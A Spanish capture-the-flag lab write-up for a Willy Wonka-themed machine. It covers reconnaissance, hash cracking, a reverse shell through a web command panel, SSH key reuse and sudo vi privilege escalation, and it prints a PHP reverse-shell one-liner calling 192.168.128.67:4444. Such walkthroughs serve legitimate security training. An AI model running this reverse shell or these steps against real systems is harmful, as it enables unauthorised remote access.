Introduction

Una room basada en Charlie y la fábrica de chocolate.
Bienvenido a la Fábrica de Chocolate de Willy Wonka.

Getting the Flags
Reconocimiento Inicial
Comenzaremos haciendo un escaneo de puertos abiertos.

Ahora vamos a escanear estos puertos más a fondo.

En todos los puertos siguientes sale la misma pista: que no está ahí. Así que vamos a listar directorios de la web.

Vamos a ver qué es la página web.

Profundización
Vamos a ver qué hay en los archivos que hemos encontrado.

Parece una caja para introducir comandos y ejecutarlos.
Vamos a ver el otro archivo.

Es un script php inseguro, puede que se use el mismo para el otro.
Ahora vamos por partes, lo primero será investigar lo del anonymous login por FTP.

Es una foto (aparentemente), vamos a ver si contiene algo.

Vamos a ver qué hemos extraído.

Una cadena muy larga en base64, vamos a decodearla.

Parece el /etc/shadow de alguna máquina. Sabiendo que tenemos al usuario charlie y su hash, vamos a intentar crackearlo.

Con esta contraseña vamos a intentar iniciar sesión primero en el panel de la página web y si no funciona por SSH.

Iniciar sesión nos lleva directamente al panel de introducir comando, que ya habíamos visto antes. Vamos a intentar iniciar sesión por SSH.
Explotación
Como no podemos iniciar sesión por SSH vamos a aprovecharnos de la ejecución de comandos para obtener una reverse shell.

Con el comando php -r '$sock=fsockopen("192.168.128.67",4444);exec("bash <&3 >&3 2>&3");' obtenemos una shell. Primero voy a estabilizarla.

Ahora vamos a ver si podemos leer la flag del usuario.
De primeras no vemos una flag pero vemos algo interesante también, hay un archivo llamado key_rev_key. Vamos a descargarlo desde nuestra máquina.

Vamos a mirar a ver qué contiene.

Parece que hemos encontrado la clave que nos pedían. Seguimos buscando la flag.

Ahora nos toca encontrar la forma de pivotar hacia charlie.

El usuario www-data está en el grupo root, sudo y lxd, esto nos puede servir para escalar privilegios.
Podemos ver en el directorio /home de charlie que hay dos archivos teleport y teleport.pub, esto huele a claves privada y pública.

Vamos a usar esta clave para iniciar sesión por SSH.

Ahora que ya estamos dentro de la máquina vamos a leer la flag de usuario.
Escalada de Privilegios
Ahora toca escalar privilegios para conseguir la flag de root. Lo primero que haremos será ver los grupos a los que pertenece charlie.

Vamos ahora a completar nuestra checklist de privesc y si nada funciona volveremos a esto.

Parece que podemos ejecutar vi con sudo. Miramos en GTFOBins.

Usamos dicho comando.

Acabamos de ganar acceso root. Vamos a leer la flag.

Parece que necesitamos la clave, vamos a ejecutarlo.

Como no funciona por algún motivo, voy a buscar un desencriptador de Fernet online.

Conclusión
Una máquina divertida pero con algunos errores aparentes. Parece que se podía acceder a la página de los comandos sin necesitar del login, por lo que no habría que acceder a FTP con anonymous ni crackear el hash de charlie.
